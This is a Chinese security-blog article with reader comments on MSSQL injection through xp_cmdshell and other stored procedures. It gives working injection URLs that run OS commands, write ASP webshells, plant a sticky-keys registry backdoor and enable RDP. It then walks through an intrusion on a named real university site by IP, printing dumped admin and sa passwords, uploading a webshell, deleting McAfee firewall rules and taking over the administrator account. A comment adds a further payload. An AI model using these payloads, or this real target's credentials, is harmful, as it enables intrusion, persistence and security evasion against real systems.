存储过程为数据库提供了强大的功能,其类似UDF,在MSSQL中xp_cmdshell可谓臭名昭著了。MSSQL强大的存储过程也为黑客提供了遍历,在相应的权限下,攻击者可以利用不同的存储过程执行不同的高级功能,如增加MSSQL数据库用户,枚举文件目录等等。而这些系统存储过程中要数xp_cmdshell最强大,通过该存储过程可以在数据库服务器中执行任意系统命令。MSSQL2005,2008等之后版本的MSSQL都分别对系统存储过程做了权限控制以防止被滥用。
EXEC master.dbo.xp_cmdshell 'ipconfig'
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。
EXEC sp_configure 'show advanced options',1//允许修改高级参数
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1 //打开xp_cmdshell扩展
RECONFIGURE
开启后执行语句
除了xp_cmdshell还有操作注册表的
xp_regaddmultistring
xp_regdeletekey //删除键
xp_regdeletevalue //删除值
xp_regenumkeys
xp_regenumvalues //返回多个值
xp_regread //读取键值
xp_regremovemultistring
xp_regwrite //写入键值
控制服务的xp_servicecontrol等
开启telnet服务
execmaster..xp_servicecontrol 'start', 'tlntsvr'
测试
/2.aspx id=999999.9+union+all+select+%28select+cast%28Char%28114%29%2bChar%2851%29%2bChar%28100%29%2bChar%28109%29%2bChar%2848%29%2bChar%28118%29%2bChar%2851%29%2bChar%2895%29%2bChar%28104%29%2bChar%28118%29%2bChar%28106%29%2bChar%2895%29%2bChar%28105%29%2bChar%28110%29%2bChar%28106%29%2bChar%28101%29%2bChar%2899%29%2bChar%28116%29%2bChar%28105%29%2bChar%28111%29%2bChar%28110%29+as+nvarchar%284000%29%29%29%2Cnull%2Cnull--
url解码
删除空格+,转换Asc,比较简单的语句就不注释了
id=999999.9+union+all+select+(select+cast(Char(114)+Char(51)+Char(100)+Char(109)+Char(48)+Char(118)+Char(51)+Char(95)+Char(104)+Char(118)+Char(106)+Char(95)+Char(105)+Char(110)+Char(106)+Char(101)+Char(99)+Char(116)+Char(105)+Char(111)+Char(110)+as+nvarchar(4000))),null,null--
cast字符类型转换
CAST ( expression AS data_type [ ( length ) ] )
id=999999.9 union all select (select cast(r3dm0v3_hvi_iniectionas nvarchar(4000))),null,null—
//相当于 select r3dm0v3_hvi_iniection,null,null--
/2.aspx id=999999.9+union+all+select+null,char(126)+char(39)+cast(db_name()+COLLATE+SQL_Latin1_General_Cp1254_CS_AS+as+nvarchar(4000))+char(39)+char(126),null--
获取当前数据库名字
/2.aspx
id=999999.9+union+all+select+null,~'cast(db_name()COLLATE SQL_Latin1_General_Cp1254_CS_AS/*进行排序,并转换成nvarchar类型*/ as nvarchar(4000))'~,null--
开启xp_cmdshell
/2.aspx
id=1;EXEC sp_configure 'show advancedoptions',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE--
OleAutomation Procedures
/2.aspx id=1;exec+sp_configure+'show+advanced+options',1;RECONFIGURE;exec+sp_configure+'Ole+Automation+Procedures',1;RECONFIGURE--
执行命令
1,创建一个包含两个字段tmp1,tmp2的r3dm0v3_sql表
/2.aspxid=1;+CREATE+TABLE+r3dm0v3_sql+(tmp1+varchar(8000),tmp2+varchar(8000))--
2,将执行结果存入tmp1表中
/2.aspxid=1;+insert+into+r3dm0v3_sql+(tmp1)+exec+master..xp_cmdshell+'net+user'—
3,存储过程,将tmp1字段中所有不为空内容读取到tmp2字段中,并在前面加入~。
/2.aspx
id=1;
begin
declare @ret varchar(8000)
set @ret=''
select @ret=@ret '~' tmp1 from r3dm0v3_sqlwhere tmp1>@ret insert into r3dm0v3_sql(tmp2)
select @ret
end--
4,从tmp2表中查询不为空的数据,Havij会在查询的数据前后加入~'数据内容'~,这也是他的一个特点。
/2.aspx id=999999.9+union+all+select+null,(select+top+1+char(126)+char(39)+cast(tmp2+as+varchar(8000))+COLLATE+SQL_Latin1_General_Cp1254_CS_AS+char(39)+char(126)+from+r3dm0v3_sql+where+tmp2<>''),null--
5,删除表
/2.aspx id=1%3B+drop+table+r3dm0v3_sql--
高级入侵
不过当用户已AUTHORITY\NetworkService登陆时时(mssql2005express版默认)无法执行net user命令添加用户的,不过默认安装的mssql2005企业版是以本地系统账户登陆的
当以本地用户登录的时候执行命令
sp_makewebtask写入一句话
如果未启用Web Assistant Procedures
SQLServer 阻止了对组件 'WebAssistant Procedures' 的 过程'sys.xp_makewebtask' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。
开启
exec sp_configure 'Web AssistantProcedures', 1; RECONFIGURE
写码
exec sp_makewebtask 'c:\1.asp','select''<%execute(request("ruo"))%>''' <HTML> <HEAD> <META content="text/html;charset=utf-8" http-equiv=Content-Type> <TITLE>Microsoft SQL Server Web 助手</TITLE> </HEAD> <BODY> <H1>查询结果</H1> <HR> <PRE><TT>上次更新时间: 2014-12-2511:36:23.560</TT></PRE> <P> <P><TABLE BORDER=1> <TR><THALIGN=LEFT>n/a</TH></TR> <TR><TD><TT><%execute(request("ruo"))%></TT></TD></TR> </TABLE> <HR> </BODY> </HTML>
一条语句写入文件到c:\1.asp
http://192.168.1.145/2.aspx?id=2;exec sp_configure0x730068006f007700200061006400760061006e0063006500640020006f007000740069006f006e007300/*showadvanced options*/, 1; reconfigure; exec sp_configure0x570065006200200041007300730069007300740061006e0074002000500072006f006300650064007500720065007300/*Web Assistant Procedures*/,1; reconfigure; declare @snvarchar(4000); select@s=0x730065006c00650063007400200027003c00250045007800650063007500740065002800720065007100750065007300740028002200720075006f0022002900290025003e000d000a002700/*select '<%Execute(request("ruo"))%> '*/; execsp_makewebtask 0x43003a005c0031002e00610073007000/*C:\1.asp*/, @s;--
如果存储过程xp_cmdshell被删除,重修加载,如果是xplog70.dll文件被删除了还是别想了吧
dbcc addextendedproc("sp_oacreate","odsole70.dll")
dbcc addextendedproc("xp_cmdshell","xplog70.dll")
如果模块不存在
消息17750,级别16,状态0,过程xp_makewebtask,第1 行
无法加载DLL xpweb90.dll 或它引用的一个DLL。原因:126(找不到指定的模块。)。
mssql2005 express版的缺少一些组件,写入文件时无法加载xpweb90.dll,拖入mssql2005企业版xpweb.dll无法加载,这个版本不知怎么写入文件。
以本地系统账户登陆
消息17750,级别16,状态0,过程xp_makewebtask,第1 行
无法加载DLL xpweb90.dll 或它引用的一个DLL。原因:1114(动态链接库(DLL)初始化例程失败。)。
网络账户NT AUTHORITY\NetworkService
消息17750,级别16,状态0,过程xp_makewebtask,第1 行
无法加载DLL xpweb90.dll 或它引用的一个DLL。原因: 5(拒绝访问。)。
注册表操作
启用存储过程
exec sp_addextendedprocxp_regread,'xpstar.dll'
http://192.168.1.145/2.aspx?id=2
;exec master.dbo.sp_addextendedproc0x780070005f007200650067007200650061006400,0x7800700073007400610072002e0064006c006c00--
xp_regread à 16进制78 70 5F 72 65 67 72 65 61 64
读取键值计算机名
xp_regread 根键,子键,键值名
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\ComputerName\ComputerName
ComputerName
建表
http://192.168.1.145/2.aspx?id=2 ;createtable [pangolin_test_table]([a] nvarchar(4000) null);--
读取值并写入到表中
http://192.168.1.145/2.aspx?id=2;declare @s nvarchar(4000)exec master.dbo.xp_regread
0x484b45595f4c4f43414c5f4d414348494e45/*表项HKEY_LOCAL_MACHINE*/,0x53595354454d5c436f6e74726f6c5365743030315c436f6e74726f6c5c436f6d70757465724e616d655c436f6d70757465724e616d65/*子项SYSTEM\ControlSet001\Control\ComputerName\ComputerName*/,0x436f6d70757465724e616d65/*健名ComputerName*/,
@s outputinsert intopangolin_test_table (a)values(@s);--
查询
http://192.168.1.145/2.aspx?id=2 and(select top 1 a from pangolin_test_table)>0--
http://192.168.1.145/2.aspx?id=2 ;droptable [pangolin_test_table];--
注:子项路径中有空格没法找到路径
写入注册表值
xp_regwrite 根键,子键, 值名, 值类型, 值
exec xp_regwrite
0x484b45595f4c4f43414c5f4d414348494e45/*HKEY_LOCAL_MACHINE*/,
0x534f4654574152455c4d6963726f736f66745c57696e646f77735c43757272656e7456657273696f6e5c52756e/*SOFTWARE\Microsoft\Windows\CurrentVersion\Run */,
0x74657374/*test*/,
0x5245475f535a/*REG_SZ*/,
'c:\2.exe' — /* mssql2005 express版我测试这里不能用十六进制的格式了,不然会出现错误执行xp_regwrite 扩展存储过程时出错: 注册表REG_(MULTI)_SZ 值不匹配*/
写入shift后门
exec xp_regwrite
'HKEY_LOCAL_MACHINE',
'SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\sethc.exe',
'debugger',
'REG_SZ',
'c:\\windows\\system32\\taskmgr.exe'
16进制编码
exec xp_regwrite
0x484b45595f4c4f43414c5f4d414348494e45,
0x534f4654574152455c4d6963726f736f66745c57696e646f7773204e545c43757272656e7456657273696f6e5c496d6167652046696c6520457865637574696f6e204f7074696f6e735c73657468632e657865,
0x6465627567676572,
0x5245475f535a,
'c:\\windows\\system32\\taskmgr.exe'–
查看远程桌面开启
exec xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\TerminalServer',
'fDenyTSConnections'
开启远程桌面
exec xp_regwrite
'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\TerminalServer',
'fDenyTSConnections',
'REG_DWord',0
入侵实例
西南明大招生就业网
http://222.210.17.165/selects.asp?Key=1
后台
http://222.210.17.165/admin/login.asp
web server operating system: Windows 2003or XP
web application technology: ASP.NET,Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
Database: zsweb
[33 tables]
+---------------------------------------------------+
| ArtWebStudent |
| D99_CMD |
| D99_REG |
| D99_Tmp |
| DIY_TEMPCOMMAND_TABLE |
| KS_AdminX(管理员表) |
| KS_Cls |
| KS_Down |
| KS_GuestBook |
| KS_Job |
| KS_Mail |
| KS_Member |
| KS_News |
| KS_P_Str |
| KS_P_Text |
| KS_Page |
| KS_Person |
| KS_Pro |
| KS_VoteOption |
| KS_VoteTopic |
| LqHistory |
| Plan |
| Student |
| WebBm |
| area |
| class |
| comd_list |
| dtproperties |
| labeng |
| major |
| majorsubject |
| province |
| subject |
+---------------------------------------------------+
sqlmap.py -u"http://222.210.17.165/selects.asp?key=1" -D zsweb -T KS_AdminX –columns
Database: zsweb
Table: KS_AdminX
[7 columns]
+---------------+---------------+
| Column | Type |
+---------------+---------------+
| AddTime | smalldatetime |
| ID | int |
| LastLoginIP | varchar |
| LastLoginTime | smalldatetime |
| UserLoginName | varchar |
| UserLoginPWD | varchar |
| UserRealName | varchar |
+---------------+---------------+
sqlmap.py -u"http://222.210.17.165/selects.asp?key=1" -D zsweb -T KS_AdminX –CUserLoginName, UserLoginPWD --dump
Database: zsweb
Table: KS_AdminX
[1 entry]
+--------------+---------------+
| UserLoginPWD | UserLoginName |
+--------------+---------------+
| 859911 | admin |
+--------------+---------------+
后台没发下可以利用的地方
sqlmap.py -u http://222.210.17.165/selects.asp?key=1--os-shell
通过后台上传图片文件,再dir目录查看文件内容,确定D:\web\为网站目录
网站绝对路径
D:\web\ ewebeditor\uploadfile\20141226165819600.jpeg
http://222.210.17.165/ewebeditor/uploadfile/20141226165819600.jpeg
d:\web 的目录
2014-11-08 09:26 <DIR> . 2014-11-08 09:26 <DIR> .. 2012-12-19 00:40 4,991 about.asp 2009-04-20 03:37 4,013aboutTemp.asp 2009-04-20 03:37 10,451 aboutW.asp 2014-11-06 13:08 <DIR> Admin 2010-01-12 20:26 4,846ArtBkxz.asp 2010-01-09 11:14 2,280artbmleft.asp 2010-01-09 13:04 650artbmlogin.asp 2010-01-09 13:46 9,382ArtBmPrint.asp 2013-09-21 20:27 <DIR> aspnet_client 2009-04-10 11:21 11,036 bkgl.asp 2010-01-09 21:44 12,507 BmOk.asp 2009-04-07 18:31 419 boot.htm 2009-03-15 16:49 424 close.html 2010-01-04 14:39 149 conn.asp 2009-04-20 03:48 952contact.asp 2009-04-22 22:39 1,567 css.css 2008-07-03 11:09 1,274 css1.css 2013-09-21 20:27 <DIR> DataBaseJKZY 2014-07-29 00:38 <DIR> ewebeditor 2009-04-10 11:21 11,042 gkkx.asp 2011-03-22 16:56 4,687gklqcxn.asp 2010-01-07 13:34 14,807 head.asp 2014-10-20 01:36 <DIR> images 2014-10-20 01:36 <DIR> Include
目录文件太多了省略一万字….
写入文件
Echo imruo >> d:\web\zhao\1.txt 不能写入asp,asa文件 aspx文件无法执行,没有注册.net
查看进程,发现McAfee安全软件
Tasklist
映像名称 PID 会话名 会话# 内存使用
========================= ======================== =========== ============
System Idle Process 0 Console 0 28 K
System 4 Console 0 312 K
smss.exe 412 Console 0 564 K
csrss.exe 468 Console 0 6,896 K
winlogon.exe 492 Console 0 43,556 K
services.exe 540 Console 0 28,700 K
lsass.exe 552 Console 0 37,548 K
svchost.exe 724 Console 0 18,200 K
FireSvc.exe // McAfeeDesktopFirewall防火墙服务进程
inetinfo.exe 1096 Console 0 36,732 K
FrameworkService.exe 1148 Console 0 1,772 K
VsTskMgr.exe // McAfee
mfevtps.exe 1320 Console 0 5,808 K
mfeann.exe 1340 Console 0 3,640 K
naPrdMgr.exe // McAfee
sqlservr.exe 1544 Console 0 1,178,252 K
msmdsrv.exe 1556 Console 0 24,968 K
svchost.exe 1684 Console 0 30,436 K
vmware-converter-a.exe 1752 Console 0 44,052 K
vmware-converter.exe 1824 Console 0 42,764 K
vmware-converter.exe 1912 Console 0 47,268 K
svchost.exe 1948 Console 0 18,148 K
searchindexer.exe 1972 Console 0 7,728 K
mcshield.exe // McAfee VirusScan 的一个核心进程
mfefire.exe // mcafee网络安全程序
msftesql.exe 2184 Console 0 4,564 K
wmiprvse.exe 3580 Console 0 5,660 K
logon.scr //屏保程序
w3wp.exe 2172Console 0 30,708 K
davcdata.exe // Microsoft HTTP-DAV commondata
尝试写入cer,竟然可以执行,哈哈,上菜刀了
Echo "<%Execute(request("a"))%>">> d:\web\zhao\1.cer (备份D:\web\Admin\Images\1.cer)
数据库连接文件
D:\web\conn.asp <% '数据库连接 Setwebconn=CreateObject("ADODB.Connection") webconn.Open "DRIVER={SQLServer};server=(local);uid=sa;pwd=000000;database=zsweb" %>
服务器提权
开启3389导入shift后门
菜刀上传开启3389reg,xp_shell导入远程桌面仍然无法连接
Regedit /s d:\web\rdp.reg
导出注册表
regedit /e d:\web\zhao\aaa.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp"
主机装有McAfee Host Intrusion Prevention,本地测试下载到到的版本,发现目标用的是8.0的,然后考虑将配置文件下载下来覆盖本地的查看服务器hip规则,无意中发现某站提到mcafee hip配置文件在注册表中HKEY_LOCAL_MACHINE\SOFTWARE\McAfee\HIP,导出注册表覆盖本地发现3389访问限制了ip
既然通过注册表配置,那么我将远程ip地址修改后再导入注册表不就绕过了ip的限制了,想想连我都佩服我的机智。
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\McAfee\HIP\Config\Firewall\AggrMatches\4\Matches]
"0"="15,1,0,false,false,true,221.10.*.*,,"
不过测试还是无法连接,研究发现防火墙由两条注册表Matches,Rules决定,修改起来比较麻烦,还是将目标注册表规则删除,导入我们本地建立的吧。
reg delete HKLM\SOFTWARE\McAfee /f
Regedit /s d:\web\zhao\hip.reg
突破3389过滤后我们导入shift后门吧
Regedit /s d:\web\zhao\shift.reg
登陆权限为system权限,直接打开用户管理修改administrator密码
现在我是管理员了,想干什么就干什么了,呵呵呵。
如何防范?
1,删除存储过程execsp_dropextendedproc ‘xp_cmdshell’,最好删除xplog70.dll等文件
2,网站数据库不要使用sa账户,对服务运行权限设定为普通账户
3,安装相关安全软件
参考资料
http://blog.dt27.cn/default/hui_fu_xp_cmdshell_da_quan/
http://www.cnblogs.com/xred/archive/2011/12/31/2308724.html
[本文作者/ruo,属FreeBuf黑客与极客(FreeBuf.COM)原创文章,未经许可禁止转载]
-
杨凡这种文章真是太适合发表在我们听潮社区了!
我已经转走,作为我的徒弟专用文章! -
怎么不说下sqlserver 2008、2012呢
另外把别人网站的注入点直接摆进来让人轮真的好吗

不容错过
- 如何通过一张照片来获取ip地址?watcher2016-04-11
- 匿名者(Anonymous)组织再发声:将对以色列发动“电子大屠杀“Rechange2015-04-01
- 黑产揭秘:“打码平台”那点事儿阿里云誉反欺诈2016-05-17
- iOS 8漏洞可致wifi覆盖范围内任意iPhone iPad不断重启(含视频)Sphinx2015-04-23
0day
已有 27 条评论
怎么不说下sqlserver 2008、2012呢
另外把别人网站的注入点直接摆进来让人轮真的好吗
@ 客服,说的就是你,把别人网站的注入点直接摆进来让人轮真的好吗?
"另外把别人网站的注入点直接摆进来让人轮真的好吗"
这个真的不太好吧。
MSSQL XP_CMDSHELL注入的标准化范本?
地址什么的都没打码,不管是不是授权,都不太好吧。。
直接打开用户管理修改administrator密码
这种文章真是太适合发表在我们听潮社区了!
我已经转走,作为我的徒弟专用文章!
@ 杨凡 呵呵呵,你在逗我玩么
加shit后门真的好吗?
怎么还有实例啊 不怕和谐么
好怀旧~
sa用户的sql2k 2005已经很少了吧,拿到了价值也不大了
XP_CMDSHell真是个好东东。
好怀旧~
sa用户的sql2k 2005已经很少了吧,拿到了价值也不大了
像例子这样的很少了,你居然还公开出来.要珍惜啊
说好的马赛克呢????
10年前穿越出来的?FB的质量越来越差了
@ ssdf 你做的每一件事,看的人总会有不同的眼光
后面实例和本文主题有啥关系?完全是sqlmap和菜刀的使用实例。完全没有前面讲的东西只是一个工具流程的流水账而已
@ C.shark 额,前面都详细说了代码层的利用,在把sqlmap的代码拿出来不是一样的么
应该打码吧。。
满满的都是回忆啊,以前在学校1433抓鸡抓了一箩筐
| D99_CMD
| D99_REG
| D99_Tmp
明明用的是啊D嘛,
sqlmap 命令行装吗
收藏了 学习
SA能玩的比较多。命令可以直接回显。
SQL 2000
or 1 in(SELECT * FROM OPENROWSET(‘SQLOLEDB’, ‘trusted_connection=yes’, ‘SET FMTONLY OFF execute master..xp_cmdshell "set"’))for xml raw
SQL 2K5以上SA可以通过FOR XML PATH回显
SELECT * FROM OPENROWSET(‘SQLOLEDB’, ‘trusted_connection=yes’, ‘SET FMTONLY OFF execute master..xp_cmdshell "ver"’) for xml path
来自:
http://drops.wooyun.org/tips/1620
不打吗 合适么?
警察叔叔就是这个人
明明有打码的。。。只是没全部打上…
学习了,谢谢楼主分享